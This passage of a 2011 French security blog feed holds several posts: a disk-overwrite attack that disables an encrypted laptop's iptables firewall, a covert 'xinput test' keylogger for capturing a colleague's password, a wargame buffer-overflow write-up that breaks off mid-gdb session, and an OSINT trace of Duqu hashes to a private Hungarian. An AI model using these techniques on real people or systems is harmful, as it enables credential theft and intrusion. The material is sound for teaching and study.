mot de passe de déchiffrement est solide.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;2/ Inutile de vouloir casser le chiffrement lui même. C'est de l'AES, et vous n'êtes pas &lt;a href="http://crypto.junod.info/eprint03_022.pdf"&gt;Mr Filiol&lt;/a&gt;.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;3/ L'utilisateur éteint toujours son portable lorsqu'il le quitte. Impossible de lancer une attaque &lt;a href="http://citp.princeton.edu/memory/"&gt;cold-boot&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;4/ Essayer de modifier le noyau ou l'initrd du démarrage afin qu'il enregistre le mot de passe entré ne mène à rien: la puce TPM permet de vérifier les métriques du boot et le déchiffrement de la racine n'aboutira pas, provoquant immédiatement une réaction de l'utilisateur.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;5/ Changer le portable complet (le chassis) par un autre dont le rôle est de ressembler au portable dans la phase de demande de clé de déchiffrement pour l'envoyer immédiatement par le réseau ne fonctionne pas non plus, le RSSI à pensé à les marquer afin d'éviter les échanges malheureux. Ceci dit, il est toujours possible de changer le disque et de jouer cette méthode, mais le possesseur du portable comprendra immédiatement qu'il y a un problème et pourra prendre des actions correctives. Vous souhaitez accéder à de l'information, vous ne voulez pas que cet accès soit découvert.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;6/ Une attaque réseau n'aboutit pas non plus. Le firewall &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;iptables&lt;/span&gt; est trop bien configuré pour cela.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;7/ Les &lt;a href="http://lasecwww.epfl.ch/keyboard/"&gt;autres&lt;/a&gt; &lt;a href="http://www.blackhat.com/presentations/bh-usa-09/CHEN/BHUSA09-Chen-RevAppleFirm-SLIDES.pdf"&gt;attaques&lt;/a&gt; &lt;a href="http://www.darknet.org.uk/2011/08/stealing-atm-pin-numbers-using-thermal-imaging-cameras/"&gt;physiques&lt;/a&gt; &lt;a href="http://www.physorg.com/news/2011-10-iphone-spiphone-smartphones-accelerometer-track.html"&gt;sont&lt;/a&gt; &lt;a href="http://actes.sstic.org/SSTIC08/Voyage_Coeur_Memoire/SSTIC08-Aumaitre-Voyage_Coeur_Memoire.pdf"&gt;considérées&lt;/a&gt; &lt;a href="http://www.theregister.co.uk/2011/06/27/mission_impossible_mouse_attack/"&gt;comme&lt;/a&gt; &lt;a href="http://xkcd.com/538/"&gt;hors&lt;/a&gt; de propos pour cet exemple :-)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Solution après le saut.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Le chiffrement protège la confidentialité des données, mais pas leur intégrité.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Les portables descendent tous du même master.&amp;nbsp;&lt;/div&gt;&lt;div&gt;L'attaquant possède un portable dont les fichiers systèmes sont situés au même endroit sur le disque que sur le disque de la&amp;nbsp;victime.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;L'attaque consiste donc a repérer géographiquement où est situé le programme &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;iptables&lt;/span&gt;. Sur le portable de la victime, booter depuis un liveCD, et écrire quelques dizaines d'octets à l'emplacement d'&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;iptables&lt;/span&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Attendre que la victime démarre son portable. La lecture du fichier iptables va se faire, sauf qu'il ne s'agira clairement pas d'un binaire ELF. Le firewall ne sera donc pas actif.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Pour l'attaquant, il devient donc possible de lancer des attaques par le réseau: le schéma de sécurité mis en place par le RSSI est donc cassé. Win.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Je pense que cela doit être généralisable sur à peu près n'importe quel système ou il est possible de savoir précisément ou sont les données à écraser (par exemple une base de données antivirales avant de lancer une attaque).&lt;/div&gt;&lt;div&gt;Je n'ai pas vérifié s'il existe des systèmes de chiffrement de disque proposant l'intégrité des données chiffrées, mais cela me semble une option intéressante à mettre en regard de la chute en performance du disque.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-1944339674410374962?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/1944339674410374962/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/casser-le-schema-de-securite-dun.html#comment-form' title='10 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/1944339674410374962'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/1944339674410374962'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/casser-le-schema-de-securite-dun.html' title='Casser le schéma de sécurité d&apos;un portable chiffré'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-3361743092315675852</id><published>2011-10-25T06:00:00.000+02:00</published><updated>2011-10-25T09:33:43.793+02:00</updated><title type='text'>Heureusement, sous linux on a pas de virus (kernel.org)</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;On connaît la chanson: sous linux (comme sous mac) on a pas de virus, etc, etc... et les windowsiens sont réduits à devoir utiliser des antivirus car ce système est moins bien construit.&lt;br /&gt;Ce genre d'arguments était peut-être vrai à l'époque des win9x (pas de droits sur les fichiers par exemple), mais de moins en moins sur les windows modernes.&lt;br /&gt;&lt;br /&gt;Suite à des intrusions réussies sur windows on lit des commentaires généralement outrés sur l'absence d'antivirus.&lt;br /&gt;Dans les forums, lors d'une suspicion de compromission on lit toujours "passe un coup d'antivirus pour voir" ce qui déclenche les rires des linuxiens qui eux, savent bien que les virus, ça n'existe pas chez eux.&lt;br /&gt;&lt;br /&gt;Et puis &lt;a href="http://kernel.org/"&gt;kernel.org&lt;/a&gt; s'est fait &lt;a href="http://exploitability.blogspot.com/2011/10/veririer-la-securite-de-sa-machine.html"&gt;compromettre&lt;/a&gt;. Et le &lt;strike&gt;premier&lt;/strike&gt;&amp;nbsp;&lt;a href="https://lkml.org/lkml/2011/9/30/425"&gt;second&lt;/a&gt; commentaire sur la lkml indique: "&lt;i&gt;Install the chkrootkit package from your distro&lt;/i&gt;".&amp;nbsp;Air connu. Pour ceux qui se &lt;a href="http://attrition.org/misc/ee/zf05.txt"&gt;souviennent&lt;/a&gt; de &lt;a href="http://sid.rstack.org/blog/index.php/358-zf05-thoughts"&gt;zf05&lt;/a&gt;,&amp;nbsp;on avait pu lire le &lt;i&gt;.bash_history&lt;/i&gt; de &lt;a href="http://fr.wikipedia.org/wiki/Kevin_Mitnick"&gt;Kevin Mitnick&lt;/a&gt;. Très régulièrement revient l'usage de &lt;a href="http://en.wikipedia.org/wiki/Rkhunter"&gt;rkhunter&lt;/a&gt;, ce qui semble un réflexe plutôt sain :-)&lt;br /&gt;On retrouve donc une grande similitude avec les utilisateurs de windows:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;i&gt;Anonymous Victim&lt;/i&gt;: Est-ce que je&amp;nbsp;suis&amp;nbsp;infecté?&lt;/li&gt;&lt;li&gt;&lt;i&gt;The crowd&lt;/i&gt;: Bah passe un coup d'anti-[virus|rootkit] et tiens nous au courant.&lt;/li&gt;&lt;/ul&gt;Si j'étais éditeur d'antivirus, je lancerai vite un anti-rootkit linux, je pense qu'il y a un marché à prendre.&amp;nbsp;Ça&amp;nbsp;n'empêchera pas les &lt;a href="http://fr.wikipedia.org/wiki/Z%C3%A9lotes"&gt;zélotes&lt;/a&gt; linuxiens de clamer haut et fort que leur système est &lt;i&gt;intrinsèquement&lt;/i&gt; plus sûr que windows, mais pour paraphraser un slogan connu, on pourrait dire: "Sous linux, on a pas de virus, mais on a des rootkits".&lt;br /&gt;&lt;br /&gt;A ce sujet, le dernier passage d'un anti-rootkit sur votre linux date de quand?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-3361743092315675852?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/3361743092315675852/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/heureusement-sous-linux-on-pas-de-virus.html#comment-form' title='5 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/3361743092315675852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/3361743092315675852'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/heureusement-sous-linux-on-pas-de-virus.html' title='Heureusement, sous linux on a pas de virus (kernel.org)'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-6726823047639749164</id><published>2011-10-24T06:00:00.000+02:00</published><updated>2011-10-24T06:00:08.901+02:00</updated><title type='text'>duqu: la piste hongroise?</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Comme je l'ai annoncé, l'ensemble des articles de ce mois ont été écrits à l'avance. Cet article devait traiter des sommes MD5 et des recherches sur google, mais l'actualité me pousse a le modifier.&lt;br /&gt;&lt;br /&gt;1/ MD5 et google&lt;br /&gt;Tout le monde le sait, &lt;a href="http://fr.wikipedia.org/wiki/MD5"&gt;MD5&lt;/a&gt; est une somme de hachage considérée comme cassée à l'heure actuelle. Toutefois, elle reste considérablement utilisée. La majorité des mots courants ont été hachés en MD5 et indexés par google, ainsi le hash de &lt;a href="http://www.google.fr/search?q=310c12a8c02f635546af64ab5852d25d"&gt;310c12a8c02f635546af64ab5852d25d&lt;/a&gt; se reverse (quasi-)immédiatement. Pour cette raison, il est très fortement déconseillé de hacher des mots de passe sans sel. Néanmoins, le hash MD5 de certains fichiers sont eux-aussi indexés par google, permettant de cette manière de retracer leur historique.&lt;br /&gt;&lt;br /&gt;2/ Les MD5 et duqu&lt;br /&gt;nous avons beaucoup entendu parler de duqu ces derniers temps. La majorité de ce que j'ai pu lire semble finalement provenir de la même source, &lt;a href="http://exploitability.blogspot.com/2011/10/duqu-le-nouveau-stuxnet.html"&gt;symantec&lt;/a&gt;. Comme d'habitude, on trouve:&lt;br /&gt;-des répetitions ad nauseum du communiqué initial (d'où l'importance de le connaître)&lt;br /&gt;-peu d'informations intéressantes et techniques&lt;br /&gt;-quelques commentaires avisés qui replacent l'information initiale dans un contexte plus large&lt;br /&gt;-des journalistes qui disent n'importe quoi.&lt;br /&gt;Deux points m'ont interpellés. Le premier indiquant qu'il s'agissait du même code que stuxnet, le second que des infrastructures européennes étaient visées. Pour le code, je ne me prononcerai pas, mais pour l'Europe, on peut au moins trouver un pays visé.&lt;br /&gt;&lt;br /&gt;J'ai donc effectué quelques recherches. Tout d'abord, nous connaissons les MD5 des fichiers &lt;a href="http://pastebin.com/cxFMGHLh"&gt;utilisés par duqu&lt;/a&gt;. Les recherches sur ces MD5 à l'aide de google permettent de se rendre compte qu'un fichier à été soumis dès le 1er septembre à &lt;a href="http://www.google.fr/url?sa=t&amp;amp;rct=j&amp;amp;q=9749d38ae9b9ddd81b50aad679ee87ec&amp;amp;source=web&amp;amp;cd=8&amp;amp;ved=0CHEQFjAH&amp;amp;url=http%3A%2F%2Fwww.sunbeltsecurity.com%2Fcwsandboxreport.aspx%3Fid%3D85625782%26cs%3DF61AFBECF2457197D1B724CB78E3276E&amp;amp;ctbs=cdr%3A1%2Ccd_min%3A01%2F01%2F2001%2Ccd_max%3A30%2F09%2F2011&amp;amp;ei=cXmkTvf0POPS4QSXiKD0BA&amp;amp;usg=AFQjCNHDOX3E1e5u64jgj6mYiROmeYQFWA&amp;amp;cad=rja"&gt;sunbelt security&lt;/a&gt; et fin septembre à &lt;a href="http://www.google.fr/url?sa=t&amp;amp;rct=j&amp;amp;q=9749d38ae9b9ddd81b50aad679ee87ec&amp;amp;source=web&amp;amp;cd=9&amp;amp;ved=0CHoQFjAI&amp;amp;url=http%3A%2F%2Fwww.virustotal.com%2Ffile-scan%2Freport.html%3Fid%3Df1ee026692c8458bdd698884183150eb2b898a576bc1d94668bf9e0ec1bb7507-1317396113&amp;amp;ctbs=cdr%3A1%2Ccd_min%3A01%2F01%2F2001%2Ccd_max%3A30%2F09%2F2011&amp;amp;ei=cXmkTvf0POPS4QSXiKD0BA&amp;amp;usg=AFQjCNHZTjjmRGdkm43wI-fqfKEN1RBTZg&amp;amp;cad=rja"&gt;virustotal&lt;/a&gt;.&lt;br /&gt;Mais la recherche d'un MD5 sur une période donnée (du 1er janvier 2011 au 30 septembre 2011 pour éviter les parasites), montre un résultat curieux:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/--jeZZFm7FkM/TqR7yej9DiI/AAAAAAAAAGs/C56_i6fF298/s1600/boldi.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="203" src="http://2.bp.blogspot.com/--jeZZFm7FkM/TqR7yej9DiI/AAAAAAAAAGs/C56_i6fF298/s400/boldi.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;Un hongrois amateur de poisson en conserve (!). Les messages ont été supprimés, mais google cache permet de les consulter. L'auteur de ce blog cite nommément le hash MD5 d'un des fichiers de duqu en demandant de se mettre en contact avec lui. Un second message indique "nasty" et dit que le certificat a des problèmes (??!!). Cette personne semble directement liée à duqu, sans qu'on ne comprenne comment. Est il victime de duqu?&lt;br /&gt;Sur le blog, pas de nom. Les messages et commentaires, supprimés. L'hébergeur, un hébergeur de blog comme il en existe des centaines. Difficile de savoir de qui il s'agit. &lt;br /&gt;&lt;br /&gt;Il est temps de faire un peu de google-fu. Je retrouve donc le nom et le prénom de l'amateur de poisson. Il est hongrois (logique). Sa page facebook le montre sur un genre de plateforme industrielle: ça corrobore ce que dit symantec sur la cible européenne industrielle :-), sa page google+ également. Je lui ai envoyé un mail, pas de réponse (EDIT: toujours pas de réponse le 23/10). Dommage de ne pas pouvoir remonter un peu plus loin.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-6726823047639749164?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/6726823047639749164/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/duqu-la-piste-hongroise.html#comment-form' title='4 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/6726823047639749164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/6726823047639749164'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/duqu-la-piste-hongroise.html' title='duqu: la piste hongroise?'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/--jeZZFm7FkM/TqR7yej9DiI/AAAAAAAAAGs/C56_i6fF298/s72-c/boldi.jpg' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-7906784687803778469</id><published>2011-10-22T06:00:00.000+02:00</published><updated>2011-10-24T10:57:55.555+02:00</updated><title type='text'>keylogger linux, tips&amp;trick - small post</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Souvent on a besoin d'un keylogger pour pouvoir récupérer un mot de passe. Sous un linux installé de manière standard, il est possible d'activer un programme de debug jouant très facilement le rôle de keylogger. Drame en quatre actes.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Premier acte&lt;/u&gt;, lister les &lt;a href="http://www.x.org/archive/X11R7.5/doc/man/man1/xinput.1.html"&gt;xinput&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;kevin@slackware:~$ xinput list&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;⎡ Virtual core pointer &amp;nbsp; id=2&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;[master pointer &amp;nbsp;(3)]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;⎜ &amp;nbsp; ↳ Virtual core XTEST pointer id=4&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;[slave &amp;nbsp;pointer &amp;nbsp;(2)]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;⎜ &amp;nbsp; ↳ USB Optical Mouse &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;id=8&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;[slave &amp;nbsp;pointer &amp;nbsp;(2)]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;⎣ Virtual core keyboard &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;id=3&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;[master keyboard (2)]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; ↳ Virtual core XTEST keyboard id=5&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;[slave &amp;nbsp;keyboard (3)]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; ↳ Power Button &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;id=6&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;[slave &amp;nbsp;keyboard (3)]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; ↳ Power Button &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;id=7&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;[slave &amp;nbsp;keyboard (3)]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; ↳ Dell Dell QuietKey Keyboard id=9&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;[slave &amp;nbsp;keyboard (3)]&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;u&gt;Deuxième acte&lt;/u&gt;, trouver le bon xinput attaché au clavier, nous pouvons tester avec le 5 et le 9 qui semblent de bons candidats:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;kevin@slackware:~$ xinput test 5&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; (frappes claviers... rien ne s'affiche)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;^C&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;kevin@slackware:~$ xinput test 9&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;key release 36&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;key press &amp;nbsp; 24&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;akey release 24&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;key press &amp;nbsp; 37&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;key press &amp;nbsp; 54&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;^C&lt;/span&gt;&lt;br /&gt;&lt;div style="font-family: serif;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;kevin@slackware:~$&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;C'est donc le xinput 9.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Troisième acte&lt;/u&gt;, ouvrir un xterm, taper xinput test 9, cacher le xterm quelque part, puis appeler quelqu'un a utiliser son poste et se débrouiller pour qu'il ait à taper son mot de passe à un moment ou à un autre.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Quatrième acte&lt;/u&gt;: Profit.&lt;br /&gt;&lt;br /&gt;(EDIT: Merci A.K. pour les typo )&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-7906784687803778469?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/7906784687803778469/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/keylogger-linux-tips-small-post.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/7906784687803778469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/7906784687803778469'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/keylogger-linux-tips-small-post.html' title='keylogger linux, tips&amp;trick - small post'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-5900605222307050874</id><published>2011-10-21T06:00:00.000+02:00</published><updated>2011-10-21T06:00:08.692+02:00</updated><title type='text'>Challenge sur intruded - Level5</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Ce niveau ressemble au niveau 3. Voici le code vulnérable:&lt;br /&gt;&lt;pre&gt;/*&lt;br /&gt;    This program is free software; you can redistribute it and/or modify&lt;br /&gt;    it under the terms of the GNU General Public License as published by&lt;br /&gt;    the Free Software Foundation; either version 2 of the License, or&lt;br /&gt;    (at your option) any later version.&lt;br /&gt;&lt;br /&gt;    This program is distributed in the hope that it will be useful,&lt;br /&gt;    but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt;    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&lt;br /&gt;    GNU General Public License for more details.&lt;br /&gt;&lt;br /&gt;    You should have received a copy of the GNU General Public License&lt;br /&gt;    along with this program; if not, write to the Free Software&lt;br /&gt;    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;ctype.h&amp;gt;&lt;br /&gt;&lt;br /&gt;extern char **environ;&lt;br /&gt;&lt;br /&gt;int main(int argc,char **argv){&lt;br /&gt;        char buffer[100];&lt;br /&gt;        int i;&lt;br /&gt;&lt;br /&gt;        for(i = 0; environ[i] != NULL; i++)&lt;br /&gt;                memset(environ[i], '\0', strlen(environ[i]));&lt;br /&gt;&lt;br /&gt;        if(argc&amp;gt;1){&lt;br /&gt;                seteuid(1006);&lt;br /&gt;                strcpy(buffer,argv[1]);&lt;br /&gt;        } &lt;br /&gt;&lt;br /&gt;        return 0;&lt;br /&gt;}&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;Une différence est présente toutefois. Nous ne pouvons pas utiliser de variable d'environnement pour placer notre shellcode car elles sont toutes écrasées et remplies par des zéros. Néanmoins, il reste une solution que je donne après le saut.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Nous avons une chaîne que l'on maîtrise, argv[1]. Cette chaîne, au delà d'un certain seuil va déborder de son buffer. Dans le level3 nous avons rempli de manière arbitraire la chaîne avec des 'a' (bourrage) pour écraser EIP avec l'adresse de notre variable d'environnement contenant le shellcode.&lt;br /&gt;Comme nous n'avons pas de variables d'environnements, il faut mettre le shellcode ailleurs. Nous avons suffisamment de place dans la chaîne elle-même!&lt;br /&gt;Le paramètre argv[1] va donc contenir un shellcode, des caractères de bourrage, puis une adresse pointant vers le shellcode. Cette adresse va écraser EIP, et le shellcode va donc s'exécuter.&lt;br /&gt;argv[1] vaudra donc: Shellcode+bourrage+adresse.&lt;br /&gt;&lt;br /&gt;Très simple à exposer comme idée, un peu plus fin à mettre en oeuvre. Le plus gros problème consiste à trouver l'adresse de ce shellcode.&lt;br /&gt;Nous pouvons plutôt utiliser comme argv[1]: bourrage+shellcode+adresse. Le bourrage étant par nature arbitraire, nous allons employer des \x90. \x90 en assembleur, c'est le NOP, c'est à dire: "ne fait rien et passe à l'instruction suivante". Il y a du mieux puisque l'adresse pourra correspondre à n'importe quelle adresse du bourrage. L'exécution enchaînera les NOP jusqu'à exécuter notre shellcode.&lt;br /&gt;&lt;br /&gt;Reste à trouver la taille de NOP(s)+shellcode+adresse afin qu'"adresse" aille remplacer EIP. gdb va nous aider:&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level5@narnia:/wargame$ ./level5 `python -c "print 'a'*200"`&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Segmentation fault&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level5@narnia:/wargame$ ./level5 `python -c "print 'a'*128"`&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Segmentation fault&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level5@narnia:/wargame$ ./level5 `python -c "print 'a'*100"`&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level5@narnia:/wargame$ ./level5 `python -c "print 'a'*120"`&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier 